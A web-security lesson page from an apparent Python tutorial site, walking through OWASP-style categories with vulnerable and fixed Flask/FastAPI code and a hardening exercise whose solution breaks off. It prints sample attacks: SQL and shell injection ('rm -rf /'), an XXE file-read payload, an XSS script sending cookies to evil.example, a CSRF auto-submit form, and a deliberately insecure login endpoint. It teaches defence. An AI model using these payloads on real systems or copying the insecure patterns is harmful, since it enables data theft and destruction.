PythonMastery
intermediate 25 min read · lesson 4 of 4 in Auth & Security

Web Security Checklist

1 · The lesson

read

The examples use Flask or FastAPI. Run them locally with the framework installed, because auth flows need a running server. Expected output is shown in comments.

You've built authentication, you've hashed your passwords, you've wired up OAuth. None of that helps if your app concatenates SQL strings, runs pickle.load on a webhook body, or ships with DEBUG=True. This lesson walks through the other security work that has to happen alongside authentication. It follows the ten categories of the 2017 OWASP Top 10, which cover most real-world web attacks, and adds practical extras the OWASP list doesn't cover (CSRF, rate limiting, dependency auditing, security headers).

Use it as a checklist before you launch. Each item has the same structure: what it is, how it's exploited, and how to defend against it.


1. Injection

What it is. Building queries or commands by string-concatenating user input.

Exploit. In the username field of a login form, an attacker types admin' OR '1'='1' --. If this is pasted directly into the SQL string, the query returns the admin user without checking a password.

python
# CATASTROPHIC
cursor.execute(f"SELECT * FROM users WHERE email = '{email}'")
+ setup added so this can run · defines cursor, email
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

cursor = _AutoMock('cursor')
email = _AutoMock('email')

Defend. Always use parameterised queries. The DB driver inserts the values safely:

python
# SAFE
cursor.execute("SELECT * FROM users WHERE email = %s", (email,))
+ setup added so this can run · defines cursor, email
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

cursor = _AutoMock('cursor')
email = _AutoMock('email')

This is covered in databases. The same applies to NoSQL: MongoDB injection via {"$ne": null} is a real attack, so never accept raw operator dictionaries from a request body.

Command injection is the same kind of attack in a different place:

python
# CATASTROPHIC if user_file is "foo; rm -rf /"
subprocess.run(f"convert {user_file} output.png", shell=True)

# SAFE: an argument list, with no shell
subprocess.run(["convert", user_file, "output.png"])
+ setup added so this can run · defines subprocess, user_file
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

subprocess = _AutoMock('subprocess')
user_file = _AutoMock('user_file')

shell=True with any user input is very dangerous. Always pass a list, and never construct command strings by concatenation.


2. Broken Authentication

What it is. Weak password hashing, predictable tokens, missing MFA, leaky errors.

The big ones are already covered: auth-passwords (hashing, sessions, cookies, rate-limiting) and auth-jwt (JWT validation pitfalls). One extra here:

Account enumeration via differentiated errors.

python
# CATASTROPHIC: this reveals which emails are registered
if user is None:
    return "no account with that email", 404
if not verify(user.password, supplied):
    return "wrong password", 401

An attacker collects a million emails, tries /login with each one, and learns which ones have accounts on your site. That gives them a list of targets for phishing.

Defend. Return the same generic error for both branches:

python
if user is None or not verify(user.password, supplied):
    return "invalid credentials", 401

Return the same response time too. If the missing-user branch is fast and the password-check branch takes 250ms, the timing tells the attacker which emails exist. Do a dummy hash on the missing-user path:

python
DUMMY_HASH = svc.hash_password("dummy")              # done once at module load

if user is None:
    svc.verify(DUMMY_HASH, supplied)                 # take the same time as a real check
    return "invalid credentials", 401

3. Sensitive Data Exposure

What it is. Secrets, PII, payment data shipped over HTTP, logged in plain text, or stored unencrypted.

Defend at every layer:

  • HTTPS everywhere. Let's Encrypt + a reverse proxy (nginx, Caddy) costs nothing. Redirect HTTP → HTTPS at the load balancer. Set the HSTS header (Section 13).
  • Don't log secrets. Mask in repr, and never print(dict(os.environ)). See envconfig.
  • Encrypt sensitive fields at rest when they're more sensitive than the DB itself: Stripe keys, integration tokens, anything regulated. The cryptography package's Fernet is the simplest tool for this:
python from cryptography.fernet import Fernet key = os.environ["FIELD_ENCRYPTION_KEY"] # 32 bytes, base64-encoded f = Fernet(key) ciphertext = f.encrypt(b"sk_live_abc123") plaintext = f.decrypt(ciphertext)

4. XML External Entities (XXE)

What it is. XML parsers that resolve external entities can be tricked into reading local files or making network requests.

Exploit. A user uploads:

xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

A parser that resolves external entities reads /etc/passwd and embeds it in the parsed tree. Python's own xml.etree.ElementTree refuses external entities (it raises a ParseError), but it still expands internal ones, so a tiny "billion laughs" file can use up all your memory.

Defend. Use defusedxml for any XML from an untrusted source:

bash
pip install defusedxml
python
from defusedxml.ElementTree import parse                # NOT xml.etree
tree = parse(uploaded_file)
+ setup added so this can run · defines uploaded_file
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

uploaded_file = _AutoMock('uploaded_file')

Same API as xml.etree, with external entity processing disabled. If you don't need XML, prefer JSON. If you must parse XML, never use the stdlib parsers directly on user input.


5. Broken Access Control: IDOR

What it is. Insecure Direct Object Reference: your endpoint looks up resources by ID without checking that the caller owns them.

Exploit.

python
@app.get("/api/orders/<int:order_id>")
@login_required
def get_order(order_id):
    return Order.query.get(order_id).to_json()       # BUG: any logged-in user can see any order
+ setup added so this can run · defines login_required, app, Order
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

login_required = _AutoMock('login_required')
app = _AutoMock('app')
Order = _AutoMock('Order')

Attacker logs in to their own account, fetches /api/orders/1, /api/orders/2, … and reads every order in the database.

Defend. Always scope the query by the current user:

python
@app.get("/api/orders/<int:order_id>")
@login_required
def get_order(order_id):
    order = Order.query.filter_by(id=order_id, user_id=current_user.id).first()
    if order is None:
        abort(404)                                   # 404, not 403, so we don't reveal the order exists
    return order.to_json()
+ setup added so this can run · defines login_required, app, abort, Order, current_user
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

login_required = _AutoMock('login_required')
app = _AutoMock('app')
def abort(*_a, **_kw):
    print('-> abort() called')
    return _AutoMock('abort()')
Order = _AutoMock('Order')
current_user = _AutoMock('current_user')

The filter does two jobs: it's a permission check and a query in one. Same pattern in any ORM:

python
# Django
Order.objects.get(id=order_id, user=request.user)

# SQLAlchemy
session.query(Order).filter_by(id=order_id, user_id=current_user.id).one()
+ setup added so this can run · defines order_id, Order, request, current_user, session
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

order_id = _AutoMock('order_id')
Order = _AutoMock('Order')
request = _AutoMock('request')
current_user = _AutoMock('current_user')
session = _AutoMock('session')

For admin endpoints, check the role explicitly. For "shared" resources (a doc shared with multiple users), check via a permissions table. But always check on every request, against the authenticated user.


6. Security Misconfiguration

What it is. Default credentials, debug pages exposed, missing headers, verbose error pages in production.

The Flask one.

python
# CATASTROPHIC in production
app.run(debug=True)                                  # /console with a Python shell!
+ setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

app = _AutoMock('app')

debug=True exposes the Werkzeug debugger: an interactive Python console that any browser can open when it gets a 500 error page. If your app is ever publicly reachable with that on, treat the box as compromised.

Defend.

  • DEBUG=False (or just don't set DEBUG=True) in any non-dev environment. (FLASK_ENV was removed in Flask 2.3 and does nothing now.)
  • Same for Django: DEBUG=False in prod, ALLOWED_HOSTS populated.
  • No default credentials on admin endpoints. No admin/admin accounts.
  • Don't expose /admin, /.git, /wp-admin (this happens more often than you'd expect). Check all your routes.
  • Configure security headers (Section 13).
  • Return generic 500 pages in production, log the full traceback server-side.

7. XSS: Cross-Site Scripting

What it is. User-supplied content rendered into a page without escaping, executing as script in other users' browsers.

Exploit. Comment form: <script>fetch('https://evil.example/?c=' + document.cookie)</script>. The next user who loads the page sends their session cookie to the attacker (unless the cookie is HttpOnly, see auth-passwords Section 8).

Defend.

Jinja2 (Flask) and Django templates auto-escape by default. The danger is |safe:

jinja
{{ comment.body }}            {# safe, because it is escaped #}
{{ comment.body | safe }}     {# DANGEROUS: outputs raw HTML #}

Use |safe only when you've already sanitised the input (e.g. you've run a markdown-to-HTML pass through bleach). Never on raw user input.

For user-supplied URLs in href="...", validate the scheme, because javascript: URLs in an <a href> execute JS on click:

python
from urllib.parse import urlparse
def safe_url(url):
    return urlparse(url).scheme in ("http", "https", "")

For JSON APIs that go to a JS frontend, you don't have a server-side template, but the client still needs to escape. Never use innerHTML = user_content. Use textContent or framework auto-escaping (React, Vue, Svelte).

Never eval() anything that came from a user. Same for exec(). There is no safe use of those on untrusted input.

Defence in depth: Content-Security-Policy header (see Section 13). A strict CSP blocks most XSS attacks even if you make a mistake in escaping.


8. Insecure Deserialisation

What it is. Calling pickle.load, yaml.load (unsafe), or marshal.loads on untrusted input.

Exploit. pickle.load can run arbitrary code, by design. An attacker who can supply a pickle byte string runs any Python code in your process:

python
import pickle
# DO NOT: loading a malicious pickle runs the attacker's code (RCE)
data = pickle.load(uploaded_file)
+ setup added so this can run · defines uploaded_file
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

uploaded_file = _AutoMock('uploaded_file')

Defend. Pickles are only for trusted, internal data: cache files your own server wrote, queue payloads on a private network. Never from a public endpoint, never from a webhook body.

  • For JSON, json.loads is safe, because JSON doesn't execute code.
  • For YAML, use yaml.safe_load, not yaml.load. The latter can instantiate arbitrary Python objects.
  • For schema-validated parsing, Pydantic or marshmallow with explicit field types. The schema acts as a typed allowlist.

9. Components with Known Vulnerabilities

What it is. Your requirements.txt contains a library with a published CVE.

Exploit. Someone scans your site, identifies the framework and its version, looks up the CVE, and uses it.

Defend. Scan your dependencies. Two tools:

bash
pip install pip-audit
pip-audit                                            # scans the active environment

# or, in CI
pip-audit --requirement requirements.txt
bash
pip install safety
safety scan                                          # replaced the older `safety check`

pip-audit is maintained by PyPA and uses the official PyPI vulnerability database. Run it in CI on every PR, automated with GitHub Actions (see devops-github-actions). Failing the build on a critical CVE costs little and prevents a lot.

Update regularly. Dependencies that are pinned and never updated become a security risk. Dependabot or Renovate automates the PRs.


10. Insufficient Logging & Monitoring

What it is. You can't respond to an incident you can't see.

Defend. Log, at minimum:

  • Authentication events: success, failure, lockouts.
  • Authorisation failures: 403s, blocked IDOR attempts.
  • Admin actions: user role changes, deletions, config changes.
  • Anything money-related: payments, refunds, balance changes.

What NOT to log:

  • Passwords. Ever.
  • Full session tokens or JWTs.
  • Credit card numbers (PCI scope).
  • Full request bodies on auth endpoints.

Send logs to a central service such as Sentry, Datadog, Loki or CloudWatch. A log line on the production server doesn't help when the server itself is compromised.

Have an incident response plan, even if it's a one-page doc: who's paged, what's the first action, how do we communicate to users. Practising it once a year is better than reading a polished plan for the first time at 3 AM.


11. CSRF: Cross-Site Request Forgery

What it is. A malicious site makes the user's browser send an authenticated request to your site. The browser attaches the credentials (cookies) automatically.

Exploit. User is logged into bank.com (auth cookie set). User visits evil.com, which has:

html
<form action="https://bank.com/transfer" method="POST">
    <input name="to" value="attacker-account">
    <input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>

Browser sends the POST to bank.com with the auth cookie. The bank's server sees nothing wrong and transfers the money.

Defend.

  • SameSite=Lax (or Strict) on the session cookie. This is the most effective single defence. Chrome, Edge and Opera default to Lax, but Firefox and Safari don't, so set it explicitly.
  • CSRF tokens for cookie-authenticated forms. Flask-WTF and Django both provide them by default. FastAPI doesn't have built-in CSRF protection, so add it yourself (the fastapi-csrf-protect library, or your own double-submit pattern).
  • Bearer-token APIs are not vulnerable. The browser doesn't automatically attach an Authorization header. The JS code on evil.com would have to know the token and add it manually, which is the XSS problem, not CSRF.

Cookie-authenticated browsers need CSRF protection. Token-authenticated APIs don't (but they need other defences, see the XSS and storage discussion in auth-jwt Section 7).


12. Rate Limiting

What it is. Limits on requests per IP, per user, per endpoint.

Why. Login brute-force, password-reset spam, scraping, running up your bill on paid third-party APIs ("denial of wallet"), comment flooding. All of these attacks are cheap against an unprotected endpoint.

Tools:

FrameworkLibrary
Flaskflask-limiter
FastAPIslowapi
Djangodjango-ratelimit
python
# Flask
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(get_remote_address, app=app, default_limits=["1000 per hour"])

@app.post("/login")
@limiter.limit("5 per minute")
def login():
    ...

@app.post("/api/expensive")
@limiter.limit("10 per minute")
def expensive():
    ...
+ setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

app = _AutoMock('app')

Tighter limits on the dangerous endpoints (login, signup, password reset, anything with a side effect on a third-party API). Looser limits on read endpoints.

For distributed deployments, back the limiter with Redis so all instances share the counter. Without it, a 5-per-minute limit becomes 5 per minute per instance.


13. Security Headers

A few HTTP response headers greatly reduce the attack surface. Set them once, everywhere.

HeaderWhat it does
Strict-Transport-Security (HSTS)Tells browsers "only ever load this site over HTTPS." max-age=31536000; includeSubDomains; preload.
Content-Security-PolicyRestricts where scripts/styles/images can load from. Top XSS defence-in-depth.
X-Frame-Options: DENYPrevents your site being framed (clickjacking defence). Superseded by CSP frame-ancestors, but still respected by older browsers.
X-Content-Type-Options: nosniffBrowsers trust the Content-Type instead of guessing it. This blocks a type of MIME-confusion attack.
Referrer-Policy: strict-origin-when-cross-originStops leaking URL paths (and any tokens in query strings) to third-party sites.
Permissions-PolicyDisables browser features your site doesn't need (camera, mic, geolocation).

Don't set these by hand. Use a library that does it for you:

bash
# Flask
pip install flask-talisman
python
from flask_talisman import Talisman
Talisman(app, content_security_policy={
    "default-src": "'self'",
    "script-src": "'self' https://cdn.example.com",
    "style-src":  "'self' 'unsafe-inline'",
    "img-src":    "'self' data:",
})
+ setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

app = _AutoMock('app')

For FastAPI, the secure package, or middleware that sets the headers explicitly. For Django, django-csp plus the built-in security middleware.

Check your site with Mozilla Observatory (observatory.mozilla.org). It grades your headers and tells you what's missing.


14. CSRF Protection: The Code

If your framework doesn't protect you, the simplest pattern is the double-submit cookie: a random token in a cookie and in a request header, and the server checks that they match. Many frameworks have CSRF protection built in:

python
# Flask-WTF
from flask_wtf.csrf import CSRFProtect
CSRFProtect(app)                                     # all POST/PUT/DELETE require the token
+ setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

app = _AutoMock('app')

In the template, render {{ csrf_token() }} into a hidden form input. That's all you need.

For SPAs with cookie auth, expose the CSRF token via a Set-Cookie without HttpOnly (so JS can read it) and require it as a custom header on every state-changing request.


15. Input Validation at Boundaries

Never trust client-side validation alone. It exists for UX, but the security check must happen on the server.

  • FastAPI: Pydantic models do the validation. Field types, regex constraints and min/max are declared in the model, checked on every request, and return a clear error when they fail.
  • Django: forms (forms.Form) and DRF serializers.
  • Flask: WTForms, pydantic, or marshmallow. Pick one and use it everywhere.
python
from pydantic import BaseModel, EmailStr, conint

class SignupRequest(BaseModel):
    email: EmailStr
    age: conint(ge=13, le=150)
    name: str                                        # FastAPI will reject if missing

A malformed request is rejected at the parsing step, before any business logic runs. This prevents a whole type of bug: "the field was null and we trusted it".


16. Secret Management

For local dev: .env plus python-dotenv, gitignored (see envconfig).

For production:

ToolWhere it fits
AWS Secrets ManagerAWS-native, automatic rotation.
GCP Secret ManagerGCP-native equivalent.
Azure Key VaultAzure equivalent.
HashiCorp VaultSelf-hosted, multi-cloud, detailed access policies.
Doppler / 1Password SecretsHosted, easy for developers to use.

You can load secrets from any of these into the process environment at startup, so your code keeps reading os.environ["X"]. No secret should ever be stored in the repo.


17. Common Mistakes

1. Trusting client-side validation alone. Anyone can remove a required attribute with the browser devtools in a few seconds. Validate on the server, always.

2. Security by obscurity. A "hidden" /admin-secret-7f3a URL becomes public as soon as it appears in a leaked log. The URL is not what protects the page. The auth check is.

3. Rolling your own crypto. Same point as in auth-passwords. Security researchers find the flaws in home-made crypto quickly.

4. Turning off CSRF "because it's annoying". It's annoying because your form is missing the token field. Don't disable it. Fix the form.

5. Accidentally logging passwords. A debug logger.info(f"form: {request.form}") sends every password to your log system. Audit any logging on auth endpoints.

6. pip install from a typo. This is called typosquatting: a malicious package uses a name close to a popular one. In 2019, python3-dateutil (a copy of the name of the real python-dateutil) was removed from PyPI after it was found pulling in malicious code. Spell carefully, and use a pip lockfile (pip-tools, uv, Poetry) that records exact names and hashes.

7. DEBUG=True in production. Werkzeug debugger or Django's verbose 500s leak source code, env vars, sometimes a live Python shell. Pin DEBUG=False, and make the app refuse to start if it's True outside dev.

8. CORS too permissive. Echoing back whatever Origin the request sends, together with Access-Control-Allow-Credentials: true, lets any website read your users' data with their cookies. (* with credentials doesn't leak: browsers refuse it outright.) Use a strict allowlist of origins.


🎯 Your Turn: Harden a Vulnerable Flask Endpoint

You're given a deliberately insecure login endpoint. It has at least four problems:

1. SQL injection: email is concatenated into the query.
2. Account enumeration: different error messages for "no such user" vs "wrong password".
3. No CSRF protection: POST endpoint, cookie-authenticated, no token.
4. No rate limit: open to brute-force.

Produce a hardened version. Use argon2-cffi for password verification (assume users table stores argon2 hashes).

Skeleton:

python
import sqlite3
from flask import Flask, request, session

app = Flask(__name__)
app.secret_key = "DEBUG-not-for-prod"                # FIX 0: use os.environ in real life

DB = sqlite3.connect("app.db", check_same_thread=False)

@app.post("/login")
def login_vulnerable():
    email = request.form["email"]
    password = request.form["password"]

    # BUG 1: SQL injection
    row = DB.execute(f"SELECT id, password FROM users WHERE email = '{email}'").fetchone()
    if row is None:
        # BUG 2: a different error reveals "no such user"
        return "no account with that email", 404

    user_id, stored_hash = row
    if stored_hash != password:                      # BUG: compares plain text (the password is not hashed)
        return "wrong password", 401

    # BUG 3: no CSRF defence on this POST, which uses cookie auth
    # BUG 4: no rate limit, so brute-force guessing is possible
    session["user_id"] = user_id
    return "ok"
Hint 1: Fix in the right order 1. Parameterise the query ("... WHERE email = ?", (email,)). 2. Replace plaintext compare with PasswordService.verify(...) from auth-passwords. 3. Return one generic error for both branches, and do a dummy-hash on the missing-user path to equalise timing. 4. Add flask-limiter decorator. 5. Add CSRFProtect(app) at the top.
Hint 2: Fix session fixation at the same time Once the password check passes, session.clear() before writing session["user_id"]. This defeats session fixation (see auth-passwords Section 9). It costs only one extra line.
Show full solution
python
import os
import sqlite3
from flask import Flask, request, session
from flask_wtf.csrf import CSRFProtect
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError, InvalidHashError

app = Flask(__name__)
